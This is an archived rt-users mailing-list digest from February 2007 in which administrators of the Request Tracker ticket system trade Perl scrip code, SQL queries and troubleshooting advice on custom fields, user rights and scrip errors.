Designer                          Baylink                             RFC 2100
Ashworth & Associates        The Things I Think                        '87 e24
St Petersburg FL USA      http://baylink.pitas.com             +1 727 647 1274


From theillien at yahoo.com  Tue Feb 13 09:44:37 2007
From: theillien at yahoo.com (Mathew)
Date: Tue, 13 Feb 2007 09:44:37 -0500
Subject: [rt-users] Spam email question
In-Reply-To: <20070213143208.GB5590@cgi.jachomes.com>
References: <45CABCDD.5090906@yahoo.com>	<200702081600.LAA04951@Sparkle.Rodents.Montreal.QC.CA>	<45CBE1FB.3030906@yahoo.com>	<200702090426.XAA10548@Sparkle.Rodents.Montreal.QC.CA>	<45CBF8E0.6040408@yahoo.com>
	<20070213143208.GB5590@cgi.jachomes.com>
Message-ID: <45D1CED5.1030405@yahoo.com>

I just went on vacation so as soon as I am able to log into work I'll
get that for you.  It was pointed out that the problem probably is the
shell not handling the single or double quotes.  A previous suggestion
was to use an array of parameters and arguments but I'm not certain how
to do this with the rtx-shredder CLI options.

Mathew

Jay R. Ashworth wrote:
> On Thu, Feb 08, 2007 at 11:30:24PM -0500, Mathew Snyder wrote:
>> That might be what the problem is actually. I still haven't figured
>> out how to use the methods of Shredder in order to run it entirely
>> within the script so right now Shredder runs as a 'system' call.
> 
> Sounds to me like your shell isn't sufficiently quoting the address
> when handing it off; can you post the script?
> 
> Cheers,
> -- jra



From HelmuthRamirez at compupay.com  Tue Feb 13 10:52:47 2007
From: HelmuthRamirez at compupay.com (Helmuth Ramirez)
Date: Tue, 13 Feb 2007 10:52:47 -0500
Subject: [rt-users] Forum Style Reply Comment Page
Message-ID: <7314881427FC8A4081673E8CEEA79249044E2F3A@EXMIAMI01.compupay.com>

Hi everyone,

  I'm not sure if this has been brought up before (I searched but
couldn't find anything based on the criteria I used).   

 

On the page where you Update the ticket with a message (comment or
reply).  I find myself hitting the back button to see the contents of
the ticket.  Has the thought of putting the ticket history below the
'This message will be sent to...' portion ever been considered?  Similar
to the way you can reply in internet forums, you can view the last X
posts.

 

Just wondering... :)

 

Helmuth Ramirez 
Compupay 
IT Department 
3450 Lakeside Dr. Suite 400 
Miramar, FL 33027 
954-874-4800 x7754 

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From whorka at hmdc.harvard.edu  Tue Feb 13 11:08:39 2007
From: whorka at hmdc.harvard.edu (William J. Horka)
Date: Tue, 13 Feb 2007 11:08:39 -0500
Subject: [rt-users] RE: Delayed action scrips and combining scrip email
	output
In-Reply-To: <20070213072728.C2E864D8137@diesel.bestpractical.com>
References: <20070213072728.C2E864D8137@diesel.bestpractical.com>
Message-ID: <45D1E287.2090208@hmdc.harvard.edu>

rt-users-request at lists.bestpractical.com wrote:
> Date: Mon, 12 Feb 2007 13:33:36 -0500
> From: "Jacob Helwig" <Jacob at buschs.com>
> Subject: RE: [rt-users] Delayed action scrips and combining scrip
> 	email output
> 
>> 1) A scrip is needed that will take conditional action at a point in
>> time after a transaction occurs. For example, we would like the
>> autoresponse scrip to send an autoresponse 30 minutes after a ticket
> is
>> received, but only if the ticket was not responded to in that time. It
>> seems to me that putting a 30 minute sleep() in the autoresponse scrip
>> is not the correct way to do this since scrips are intended to be
>> transactional. Does anyone have any alternate suggestions for this?
>>
> 
> What about using rt-crontool run every n minutes to look for new tickets
> created within a specified time range?

Thanks for the suggestion. That could work, although I suppose I would 
need to write custom RT::Conditions for each condition we wanted to test 
-- the above was a simplified example, which could use 
RT::Condition::UntouchedInHours. We also have a need to identify if a 
ticket changed queues within a period of time, which I was hoping to do 
using an event-driven scrip and RT::Condition::QueueChange. Using 
rt-crontool I suppose it would be necessary to write a 
RT::Condition::QueueChangeInHours that iterates over the last n ticket 
transactions.

      -Bill

-- 
William Horka
UNIX Systems Administrator
Harvard-MIT Data Center


From falcone at bestpractical.com  Tue Feb 13 11:30:54 2007
From: falcone at bestpractical.com (Kevin Falcone)
Date: Tue, 13 Feb 2007 11:30:54 -0500
Subject: [rt-users] vanished lines in rt 3.6.1 reply
In-Reply-To: <9FDB0797A630751FC4D5DBA8@[192.168.1.7]>
References: <1168534464.5276.32.camel@pcx4546.desy.de>
	<1168617531.5159.64.camel@pcx4546.desy.de>
	<1169460532.4969.16.camel@pcx4546.desy.de>
	<1170763966.5180.26.camel@pcx4546.desy.de>
	<347CFE72-9064-41B7-A1CA-B68FD9387416@bestpractical.com>
	<9FDB0797A630751FC4D5DBA8@[192.168.1.7]>
Message-ID: <F0CFA1C9-C4C1-4956-8E3B-6331C6DD2F87@bestpractical.com>


On Feb 13, 2007, at 3:55 AM, Dirk Pape wrote:

> Hello,
>
> --Am 12. Februar 2007 15:38:56 -0500 schrieb Kevin Falcone  
> <falcone at bestpractical.com>:
>
>> I've created a local ticket that looks something like this (by  
>> replying a
>> lot) and haven't been able to replicate your problem.
>
> I, too, have reported such an error months ago. You will find the  
> error description and the proof of the error in <http:// 
> rt3.fsck.com/Ticket/Display.html?id=7539> (user: guest, password:  
> guest)

Thanks Dirk

I've grabbed your ticket and I'm looking at it along with Sven's info.

-kevin


From acqant at optonline.net  Tue Feb 13 12:58:52 2007
From: acqant at optonline.net (anthony)
Date: Tue, 13 Feb 2007 12:58:52 -0500
Subject: [rt-users] getting the values of custom fields
In-Reply-To: <45D1067C.6010701@lbl.gov>
References: <45D0F5C2.2050802@optonline.net> <45D1067C.6010701@lbl.gov>
Message-ID: <45D1FC5C.9050305@optonline.net>

I'm doing this via script action.
FirstCustom.. is in Record which is not part of the $self.

I get TicketObj, TransactionObj ( which does not seems to work )

I'm tried to use CustomFieldValues but I get stuck after that.

Searches through the archive seem to say NO ONE has done this successfully.


Kenneth Crocker wrote:
> Anthony,
> 
>     What are you using the data for? We pull some custom data to use on
> our "Resolve" template. It is as follows:
> 
> RT-Attach-Message: yes
> Subject: Resolved: {$Ticket->Subject}
> 
> Your request has been resolved. If you have any further questions or
> concerns,
> please respond to this message.
> 
> To view ticket information, enter URL:
>     {$RT::WebURL}Ticket/Display.html?id={$Ticket->id} .
> -----------------------------------------------------------------------------
> 
> 
> Ticket Description:
> {
>      my $Resolution_Description;
>      $Resolution_Description =
> $Ticket->FirstCustomFieldValue('Description');
>      return $Resolution_Description;
> }
> -----------------------------------------------------------------------------
> 
> 
> Resolution:
> {
>      my $Resolution_Comment;
>      my $Transactions;
>      my $CommentObj;
> 
>      $Transactions = $Ticket->Transactions;
>      $Transactions->Limit( FIELD => 'Type', VALUE => 'Comment' );
>      $Transactions->OrderByCols(
>          { FIELD => 'Created',  ORDER => 'DESC' },
>          { FIELD => 'id',     ORDER => 'DESC' },
>          );
> 
>      $CommentObj = $Transactions->First;
> 
>      if  ($CommentObj && $CommentObj->id)
>      {
>           $Resolution_Comment = $CommentObj->Content;
>      }
> 
>      return $Resolution_Comment;
> }
> 
>     Hope this helps.
> 
> Kenn
> LBNL
> 
> anthony wrote:
>> I'm using 3.4.6 and have a ticket that has some CustomField values.
>>
>> I'm having a horrible time pulling these entries.
>>
>> I'm doing this via the web and User Defined scripts.  For testing I'm
>> saying On status change run this action.
>>
>> I've been messing with Ticket_Overlay CustomValues, CustomValues,
>> TicketTransactions....
>>
>> Now I'm wondering if the data is just for the status change transaction
>> and the values in the custom fields are not even in the $self data.
>>
>> Does this sound right?
>>
>> Doing this via sql sounds much simpler.
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
> 



From KFCrocker at lbl.gov  Tue Feb 13 14:16:30 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Tue, 13 Feb 2007 11:16:30 -0800
Subject: [rt-users] getting the values of custom fields
In-Reply-To: <45D1FC5C.9050305@optonline.net>
References: <45D0F5C2.2050802@optonline.net> <45D1067C.6010701@lbl.gov>
	<45D1FC5C.9050305@optonline.net>
Message-ID: <45D20E8E.7020001@lbl.gov>

Anthony,


	We use the following code to send a notification, via a scrip custom 
condition, when the owner changes, providing the owner isn't "nobody":

return ( $TicketObj->OwnerObj->Name() ne 'Nobody' );

	Maybe this will help you build your code in a scrip.


Kenn
LBNL

anthony wrote:
> I'm doing this via script action.
> FirstCustom.. is in Record which is not part of the $self.
> 
> I get TicketObj, TransactionObj ( which does not seems to work )
> 
> I'm tried to use CustomFieldValues but I get stuck after that.
> 
> Searches through the archive seem to say NO ONE has done this successfully.
> 
> 
> Kenneth Crocker wrote:
>> Anthony,
>>
>>     What are you using the data for? We pull some custom data to use on
>> our "Resolve" template. It is as follows:
>>
>> RT-Attach-Message: yes
>> Subject: Resolved: {$Ticket->Subject}
>>
>> Your request has been resolved. If you have any further questions or
>> concerns,
>> please respond to this message.
>>
>> To view ticket information, enter URL:
>>     {$RT::WebURL}Ticket/Display.html?id={$Ticket->id} .
>> -----------------------------------------------------------------------------
>>
>>
>> Ticket Description:
>> {
>>      my $Resolution_Description;
>>      $Resolution_Description =
>> $Ticket->FirstCustomFieldValue('Description');
>>      return $Resolution_Description;
>> }
>> -----------------------------------------------------------------------------
>>
>>
>> Resolution:
>> {
>>      my $Resolution_Comment;
>>      my $Transactions;
>>      my $CommentObj;
>>
>>      $Transactions = $Ticket->Transactions;
>>      $Transactions->Limit( FIELD => 'Type', VALUE => 'Comment' );
>>      $Transactions->OrderByCols(
>>          { FIELD => 'Created',  ORDER => 'DESC' },
>>          { FIELD => 'id',     ORDER => 'DESC' },
>>          );
>>
>>      $CommentObj = $Transactions->First;
>>
>>      if  ($CommentObj && $CommentObj->id)
>>      {
>>           $Resolution_Comment = $CommentObj->Content;
>>      }
>>
>>      return $Resolution_Comment;
>> }
>>
>>     Hope this helps.
>>
>> Kenn
>> LBNL
>>
>> anthony wrote:
>>> I'm using 3.4.6 and have a ticket that has some CustomField values.
>>>
>>> I'm having a horrible time pulling these entries.
>>>
>>> I'm doing this via the web and User Defined scripts.  For testing I'm
>>> saying On status change run this action.
>>>
>>> I've been messing with Ticket_Overlay CustomValues, CustomValues,
>>> TicketTransactions....
>>>
>>> Now I'm wondering if the data is just for the status change transaction
>>> and the values in the custom fields are not even in the $self data.
>>>
>>> Does this sound right?
>>>
>>> Doing this via sql sounds much simpler.
>>> _______________________________________________
>>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>>
>>> Community help: http://wiki.bestpractical.com
>>> Commercial support: sales at bestpractical.com
>>>
>>>
>>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>>> Buy a copy at http://rtbook.bestpractical.com
>>>
> 


From acqant at optonline.net  Tue Feb 13 15:09:29 2007
From: acqant at optonline.net (anthony)
Date: Tue, 13 Feb 2007 15:09:29 -0500
Subject: [rt-users] getting the values of custom fields
In-Reply-To: <45D20E8E.7020001@lbl.gov>
References: <45D0F5C2.2050802@optonline.net> <45D1067C.6010701@lbl.gov>
	<45D1FC5C.9050305@optonline.net> <45D20E8E.7020001@lbl.gov>
Message-ID: <45D21AF9.8060506@optonline.net>

Where are you doing this the webui?  I'm using
configure-queue-script-new script-condition: on status change, action:
user defined.

In the preparation section I put
$RT::Logger->debug("SCRIPT: $TicketObj->OwnerObj->Name\n");

It should be $self->TicketObj

I then ran it again and got
 SCRIPT:
RT::Action::UserDefined=HASH(0xcc9e670)->TicketObj->OwnerObj->Name()


The perldoc Ticket_Overlay has CustomFieldValues which sends you to
ObjectCustomFieldValues_Overlay which has

 LimitToCustomField FIELD

       Limits the returned set to values for the custom field with Id FIELD

       LimitToTicket TICKETID

       Limits the returned set to values for the ticket with Id TICKETID

       Returns true if this CustomFieldValues collection has an entry with
       content that eq VALUE


Neither of which return anything.





Kenneth Crocker wrote:
> Anthony,
> 
> 
>     We use the following code to send a notification, via a scrip custom
> condition, when the owner changes, providing the owner isn't "nobody":
> 
> return ( $TicketObj->OwnerObj->Name() ne 'Nobody' );
> 
>     Maybe this will help you build your code in a scrip.
> 
> 
> Kenn
> LBNL
> 
> anthony wrote:
>> I'm doing this via script action.
>> FirstCustom.. is in Record which is not part of the $self.
>>
>> I get TicketObj, TransactionObj ( which does not seems to work )
>>
>> I'm tried to use CustomFieldValues but I get stuck after that.
>>
>> Searches through the archive seem to say NO ONE has done this
>> successfully.
>>
>>
>> Kenneth Crocker wrote:
>>> Anthony,
>>>
>>>     What are you using the data for? We pull some custom data to use on
>>> our "Resolve" template. It is as follows:
>>>
>>> RT-Attach-Message: yes
>>> Subject: Resolved: {$Ticket->Subject}
>>>
>>> Your request has been resolved. If you have any further questions or
>>> concerns,
>>> please respond to this message.
>>>
>>> To view ticket information, enter URL:
>>>     {$RT::WebURL}Ticket/Display.html?id={$Ticket->id} .
>>> -----------------------------------------------------------------------------
>>>
>>>
>>>
>>> Ticket Description:
>>> {
>>>      my $Resolution_Description;
>>>      $Resolution_Description =
>>> $Ticket->FirstCustomFieldValue('Description');
>>>      return $Resolution_Description;
>>> }
>>> -----------------------------------------------------------------------------
>>>
>>>
>>>
>>> Resolution:
>>> {
>>>      my $Resolution_Comment;
>>>      my $Transactions;
>>>      my $CommentObj;
>>>
>>>      $Transactions = $Ticket->Transactions;
>>>      $Transactions->Limit( FIELD => 'Type', VALUE => 'Comment' );
>>>      $Transactions->OrderByCols(
>>>          { FIELD => 'Created',  ORDER => 'DESC' },
>>>          { FIELD => 'id',     ORDER => 'DESC' },
>>>          );
>>>
>>>      $CommentObj = $Transactions->First;
>>>
>>>      if  ($CommentObj && $CommentObj->id)
>>>      {
>>>           $Resolution_Comment = $CommentObj->Content;
>>>      }
>>>
>>>      return $Resolution_Comment;
>>> }
>>>
>>>     Hope this helps.
>>>
>>> Kenn
>>> LBNL
>>>
>>> anthony wrote:
>>>> I'm using 3.4.6 and have a ticket that has some CustomField values.
>>>>
>>>> I'm having a horrible time pulling these entries.
>>>>
>>>> I'm doing this via the web and User Defined scripts.  For testing I'm
>>>> saying On status change run this action.
>>>>
>>>> I've been messing with Ticket_Overlay CustomValues, CustomValues,
>>>> TicketTransactions....
>>>>
>>>> Now I'm wondering if the data is just for the status change transaction
>>>> and the values in the custom fields are not even in the $self data.
>>>>
>>>> Does this sound right?
>>>>
>>>> Doing this via sql sounds much simpler.
>>>> _______________________________________________
>>>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>>>
>>>> Community help: http://wiki.bestpractical.com
>>>> Commercial support: sales at bestpractical.com
>>>>
>>>>
>>>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>>>> Buy a copy at http://rtbook.bestpractical.com
>>>>
>>
> 



From joe.casadonte at oracle.com  Tue Feb 13 16:46:07 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Tue, 13 Feb 2007 16:46:07 -0500
Subject: [rt-users] getting the values of custom fields
In-Reply-To: <45D21AF9.8060506@optonline.net>
References: <45D0F5C2.2050802@optonline.net>
	<45D1067C.6010701@lbl.gov>	<45D1FC5C.9050305@optonline.net>
	<45D20E8E.7020001@lbl.gov> <45D21AF9.8060506@optonline.net>
Message-ID: <45D2319F.6090107@oracle.com>

On 2/13/2007 3:09 PM, anthony wrote:

> Where are you doing this the webui?

The following worked for me in 3.6.3 (Note: this is NOT through the 
WebUI -- not sure if it will help you or not):

sub IsApplicable
{
	my($self) = shift;

	my($CFNAME) = 'Severity';

	my($q) = $self->TicketObj->QueueObj;
	my($cf) = new RT::CustomField $q->CurrentUser;

	$cf->LoadByNameAndQueue(Name => $CFNAME, Queue => $q->id);
	$cf->LoadByNameAndQueue(Name => $CFNAME, Queue => 0) unless $cf->id;
	unless ($cf->id) {
		$RT::Logger->warning("Custom field '$CFNAME' isn't global or defined 
for queue '" . $q->Name . "'");
		return undef;
	}

	return ! $self->TicketObj->FirstCustomFieldValue($cf->id);
}


and:


sub Prepare
{
	my($self) = shift;

	my($CFNAME) = 'Severity';
	my($CFDEFVAL) = 'Medium';

	my($q) = $self->TicketObj->QueueObj;
	my($cf) = new RT::CustomField $q->CurrentUser;

	$cf->LoadByNameAndQueue(Name => $CFNAME, Queue => $q->id);
	$cf->LoadByNameAndQueue(Name => $CFNAME, Queue => 0) unless $cf->id;

	my($rc, $msg) = $self->TicketObj->AddCustomFieldValue(Field => $CFNAME,
														  Value => $CFDEFVAL,
														  RecordTransaction => 1);

	unless ($rc) {
		$RT::Logger->warning("Could not set '$CFNAME' to '$CFDEFVAL': $msg");
		return undef;
	}

	return 1;
}



-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From pengland at wxc.co.nz  Tue Feb 13 18:02:50 2007
From: pengland at wxc.co.nz (Paul England)
Date: Wed, 14 Feb 2007 12:02:50 +1300
Subject: [rt-users] How does RT encrypt passwords?
Message-ID: <1171407770.17233.4.camel@kriticals_workstation>

Hi there,

Can anyone tell me what method RT uses to encrypt passwords in mysql?

Thank you

Paul England, Auckland


From joe.casadonte at oracle.com  Tue Feb 13 19:26:34 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Tue, 13 Feb 2007 19:26:34 -0500
Subject: [rt-users] 3.6.3 - Non-privileged users & ShowTicket
Message-ID: <45D2573A.7010702@oracle.com>

If I don't give non-privileged users the ShowTicket right, then they 
cannot see their own tickets.  If I do, then they can see *any* ticket 
(by using the Goto Ticket box).  Is there a happy medium?  I am doing 
this via Global -> Group Rights.  I could do it via Queues -> General -> 
Group Rights, which would limit the exposure, but still not limit it to 
just their tickets.  Thanks!

-- 
Regards,


joe

  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|           Joe Casadonte           |  joe.casadonte at oracle.com     |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| Oracle Transportation Management  |  1016 West Ninth Avenue       |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
|           610-491-3315            |  King of Prussia, PA  19406   |
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From joe.casadonte at oracle.com  Tue Feb 13 20:06:24 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Tue, 13 Feb 2007 20:06:24 -0500
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <45D17354.5030806@mococo.nl>
References: <45CE1E1E.7010308@oracle.com>	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>	<45D09C86.70101@oracle.com>	<45D16817.7000404@mococo.nl>
	<45D17354.5030806@mococo.nl>
Message-ID: <45D26090.7020407@oracle.com>

On 2/13/2007 3:14 AM, Joop wrote:

> Could you post the TicketSQL for your search?
> You can get this from the QueryBuilder page and than 'Advanced'

With this data:

CF1 = Select one text field (One, Two, Three, Four, Five)
CF2 = numeric

  #   CF1     CF2
===  ======  =====
  1   Four    0.1
  2   Two     0.1
  3   Five    0.1
21   Two     23
22   One     23
41   Three   3
42   Five    0
55   Two     0.5
56   Two     0

Running this query:

SELECT id
  FROM
   (SELECT limitquery.*,rownum limitrownum
    FROM
     (SELECT main.*
      FROM
       (SELECT main.id
        FROM ((((Tickets main
                 LEFT JOIN ObjectCustomFields ObjectCustomFields_1
                   ON ((ObjectCustomFields_1.ObjectId = '0'))
                     OR (ObjectCustomFields_1.ObjectId = main.Queue))
                LEFT JOIN CustomFields CustomFields_2
                  ON (CustomFields_2.id = ObjectCustomFields_1.CustomField))
               LEFT JOIN ObjectCustomFieldValues ObjectCustomFieldValues_3
                 ON ((ObjectCustomFieldValues_3.ObjectId = main.id))
				  AND (ObjectCustomFieldValues_3.CustomField = CustomFields_2.id)
				  AND ((ObjectCustomFieldValues_3.Disabled = '0'))
				  AND ((ObjectCustomFieldValues_3.ObjectType = 'RT::Ticket')))
			 LEFT JOIN CustomFieldValues CustomFieldValues_4
			   ON ((CustomFieldValues_4.Name = ObjectCustomFieldValues_3.Content))
			     AND (CustomFieldValues_4.CustomField = 
ObjectCustomFieldValues_3.CustomField))
	   WHERE ((main.EffectiveId = main.id))
	     AND ((main.Status != 'deleted'))
		 AND ((main.Type = 'ticket'))
		 AND (((main.Owner = '86'))
			  AND  ((main.Status = 'new')
					OR (main.Status = 'open')))
		 GROUP BY main.id
		 ORDER BY min(CustomFieldValues_4.SortOrder) DESC,
		          min(ObjectCustomFieldValues_3.Content) DESC) distinctquery,
	  Tickets main
	  WHERE (main.id = distinctquery.id)) limitquery
    WHERE rownum <= 10)
  WHERE limitrownum >= 1;

Results in:

  #   CF1     CF2
===  ======  =====
  3   Five    0.1
42   Five    0
  1   Four    0.1
41   Three   3
21   Two     23
55   Two     0.5
  2   Two     0.1
56   Two     0
22   One     23

I confirmed that the same query run in SQL*Plus returns the same row 
order.  Is this the "Ticket SQL" you were looking for:

  Owner = '86' AND ( Status = 'new' OR Status = 'open')

Thanks for the help!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From acqant at optonline.net  Tue Feb 13 21:45:07 2007
From: acqant at optonline.net (anthony)
Date: Tue, 13 Feb 2007 21:45:07 -0500
Subject: [rt-users] getting the values of custom fields
In-Reply-To: <45D25FC8.70409@lbl.gov>
References: <45D0F5C2.2050802@optonline.net> <45D1067C.6010701@lbl.gov>
	<45D1FC5C.9050305@optonline.net> <45D20E8E.7020001@lbl.gov>
	<45D21AF9.8060506@optonline.net> <45D25FC8.70409@lbl.gov>
Message-ID: <45D277B3.602@optonline.net>

Kenneth,
	Thanks for sticking with me.  I'm tailing the logs and see errors when
ever I put something invalid in the Custom action section.

	If I put something (debug) into the custom condition It doesn't get any
output.  I have user defined only for Action.

	Right now I'm trying to add a package to the RT::Action section.



Kenneth Crocker wrote:
> Anthony,
> 
> 
>     We merely click new scrip, on owner change (but you could pick any
> trigger), then put the perl code into the custom condition section of
> the scrip. Works great for us. Have you looked at your error logs?
> 
> Kenn
> LBNL
> 
> anthony wrote:
>> Where are you doing this the webui?  I'm using
>> configure-queue-script-new script-condition: on status change, action:
>> user defined.
>>
>> In the preparation section I put
>> $RT::Logger->debug("SCRIPT: $TicketObj->OwnerObj->Name\n");
>>
>> It should be $self->TicketObj
>>
>> I then ran it again and got
>>  SCRIPT:
>> RT::Action::UserDefined=HASH(0xcc9e670)->TicketObj->OwnerObj->Name()
>>
>>
>> The perldoc Ticket_Overlay has CustomFieldValues which sends you to
>> ObjectCustomFieldValues_Overlay which has
>>
>>  LimitToCustomField FIELD
>>
>>        Limits the returned set to values for the custom field with Id
>> FIELD
>>
>>        LimitToTicket TICKETID
>>
>>        Limits the returned set to values for the ticket with Id TICKETID
>>
>>        Returns true if this CustomFieldValues collection has an entry
>> with
>>        content that eq VALUE
>>
>>
>> Neither of which return anything.
>>
>>
>>
>>
>>
>> Kenneth Crocker wrote:
>>> Anthony,
>>>
>>>
>>>     We use the following code to send a notification, via a scrip custom
>>> condition, when the owner changes, providing the owner isn't "nobody":
>>>
>>> return ( $TicketObj->OwnerObj->Name() ne 'Nobody' );
>>>
>>>     Maybe this will help you build your code in a scrip.
>>>
>>>
>>> Kenn
>>> LBNL
>>>
>>> anthony wrote:
>>>> I'm doing this via script action.
>>>> FirstCustom.. is in Record which is not part of the $self.
>>>>
>>>> I get TicketObj, TransactionObj ( which does not seems to work )
>>>>
>>>> I'm tried to use CustomFieldValues but I get stuck after that.
>>>>
>>>> Searches through the archive seem to say NO ONE has done this
>>>> successfully.
>>>>
>>>>
>>>> Kenneth Crocker wrote:
>>>>> Anthony,
>>>>>
>>>>>     What are you using the data for? We pull some custom data to
>>>>> use on
>>>>> our "Resolve" template. It is as follows:
>>>>>
>>>>> RT-Attach-Message: yes
>>>>> Subject: Resolved: {$Ticket->Subject}
>>>>>
>>>>> Your request has been resolved. If you have any further questions or
>>>>> concerns,
>>>>> please respond to this message.
>>>>>
>>>>> To view ticket information, enter URL:
>>>>>     {$RT::WebURL}Ticket/Display.html?id={$Ticket->id} .
>>>>> -----------------------------------------------------------------------------
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> Ticket Description:
>>>>> {
>>>>>      my $Resolution_Description;
>>>>>      $Resolution_Description =
>>>>> $Ticket->FirstCustomFieldValue('Description');
>>>>>      return $Resolution_Description;
>>>>> }
>>>>> -----------------------------------------------------------------------------
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> Resolution:
>>>>> {
>>>>>      my $Resolution_Comment;
>>>>>      my $Transactions;
>>>>>      my $CommentObj;
>>>>>
>>>>>      $Transactions = $Ticket->Transactions;
>>>>>      $Transactions->Limit( FIELD => 'Type', VALUE => 'Comment' );
>>>>>      $Transactions->OrderByCols(
>>>>>          { FIELD => 'Created',  ORDER => 'DESC' },
>>>>>          { FIELD => 'id',     ORDER => 'DESC' },
>>>>>          );
>>>>>
>>>>>      $CommentObj = $Transactions->First;
>>>>>
>>>>>      if  ($CommentObj && $CommentObj->id)
>>>>>      {
>>>>>           $Resolution_Comment = $CommentObj->Content;
>>>>>      }
>>>>>
>>>>>      return $Resolution_Comment;
>>>>> }
>>>>>
>>>>>     Hope this helps.
>>>>>
>>>>> Kenn
>>>>> LBNL
>>>>>
>>>>> anthony wrote:
>>>>>> I'm using 3.4.6 and have a ticket that has some CustomField values.
>>>>>>
>>>>>> I'm having a horrible time pulling these entries.
>>>>>>
>>>>>> I'm doing this via the web and User Defined scripts.  For testing I'm
>>>>>> saying On status change run this action.
>>>>>>
>>>>>> I've been messing with Ticket_Overlay CustomValues, CustomValues,
>>>>>> TicketTransactions....
>>>>>>
>>>>>> Now I'm wondering if the data is just for the status change
>>>>>> transaction
>>>>>> and the values in the custom fields are not even in the $self data.
>>>>>>
>>>>>> Does this sound right?
>>>>>>
>>>>>> Doing this via sql sounds much simpler.
>>>>>> _______________________________________________
>>>>>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>>>>>
>>>>>> Community help: http://wiki.bestpractical.com
>>>>>> Commercial support: sales at bestpractical.com
>>>>>>
>>>>>>
>>>>>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>>>>>> Buy a copy at http://rtbook.bestpractical.com
>>>>>>
>>
> 



From acqant at optonline.net  Tue Feb 13 22:14:42 2007
From: acqant at optonline.net (anthony)
Date: Tue, 13 Feb 2007 22:14:42 -0500
Subject: [rt-users] getting the values of custom fields
In-Reply-To: <45D0F5C2.2050802@optonline.net>
References: <45D0F5C2.2050802@optonline.net>
Message-ID: <45D27EA2.3060904@optonline.net>

This is working but unreliable.

Copied RT/Action/Autoreply.pm to PullCode.pm

Change package to RT::Action::PullCode

In script

Condition:  On Status Change
Action:		Pull Code
Template:	Status Change


Now sometimes it works and I get the email.  Other times I get

[Wed Feb 14 03:16:38 2007] [error]: Scrip Prepare 32 died. - Can't
locate object method "new" via package "RT::Action::PullCode" at
/opt/rt3/lib/RT/ScripAction_Overlay.pm line 178.

Stack:
  [/opt/rt3/lib/RT/ScripAction_Overlay.pm:178]
  [/opt/rt3/lib/RT/Scrip_Overlay.pm:473]
  [/opt/rt3/lib/RT/Scrips_Overlay.pm:236]
  [/opt/rt3/lib/RT/Transaction_Overlay.pm:168]
  [/opt/rt3/lib/RT/Record.pm:1441]
  [/opt/rt3/lib/RT/Ticket_Overlay.pm:3478]
  [/opt/rt3/lib/RT/Ticket_Overlay.pm:3209]
  [/opt/rt3/lib/RT/Record.pm:931]
  [/opt/rt3/lib/RT/Interface/Web.pm:975]
  [/opt/rt3/lib/RT/Interface/Web.pm:1089]
  [/opt/rt3/share/html/Ticket/ModifyAll.html:178]
  [/opt/rt3/share/html/autohandler:215]
 (/opt/rt3/lib/RT/Scrip_Overlay.pm:481)



From JoopvandeWege at mococo.nl  Wed Feb 14 03:03:56 2007
From: JoopvandeWege at mococo.nl (Joop)
Date: Wed, 14 Feb 2007 09:03:56 +0100
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <45D26090.7020407@oracle.com>
References: <45CE1E1E.7010308@oracle.com>	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>	<45D09C86.70101@oracle.com>	<45D16817.7000404@mococo.nl>	<45D17354.5030806@mococo.nl>
	<45D26090.7020407@oracle.com>
Message-ID: <45D2C26C.9040107@mococo.nl>

Joe Casadonte wrote:
> On 2/13/2007 3:14 AM, Joop wrote:
> 
>> Could you post the TicketSQL for your search?
>> You can get this from the QueryBuilder page and than 'Advanced'
> 
> With this data:
> 
> CF1 = Select one text field (One, Two, Three, Four, Five)
> CF2 = numeric
> 
>  #   CF1     CF2
> ===  ======  =====
>  1   Four    0.1
>  2   Two     0.1
>  3   Five    0.1
> 21   Two     23
> 22   One     23
> 41   Three   3
> 42   Five    0
> 55   Two     0.5
> 56   Two     0
I'll try to set this up in my test environment.

> I confirmed that the same query run in SQL*Plus returns the same row 
> order.
It better be the same!

>  Is this the "Ticket SQL" you were looking for:
> 
>  Owner = '86' AND ( Status = 'new' OR Status = 'open')
Almost, what I'm missing is/are the CF's. Maybe its because I don't have 
global CustomFields and you do. I'll try a couple of things in our test RT.

Thanks for the feedback,

Joop


From JoopvandeWege at mococo.nl  Wed Feb 14 03:28:05 2007
From: JoopvandeWege at mococo.nl (Joop)
Date: Wed, 14 Feb 2007 09:28:05 +0100
Subject: [rt-users] getting the values of custom fields
In-Reply-To: <45D1FC5C.9050305@optonline.net>
References: <45D0F5C2.2050802@optonline.net> <45D1067C.6010701@lbl.gov>
	<45D1FC5C.9050305@optonline.net>
Message-ID: <45D2C815.50608@mococo.nl>

anthony wrote:
> I'm doing this via script action.
> FirstCustom.. is in Record which is not part of the $self.
> 
> I get TicketObj, TransactionObj ( which does not seems to work )
> 
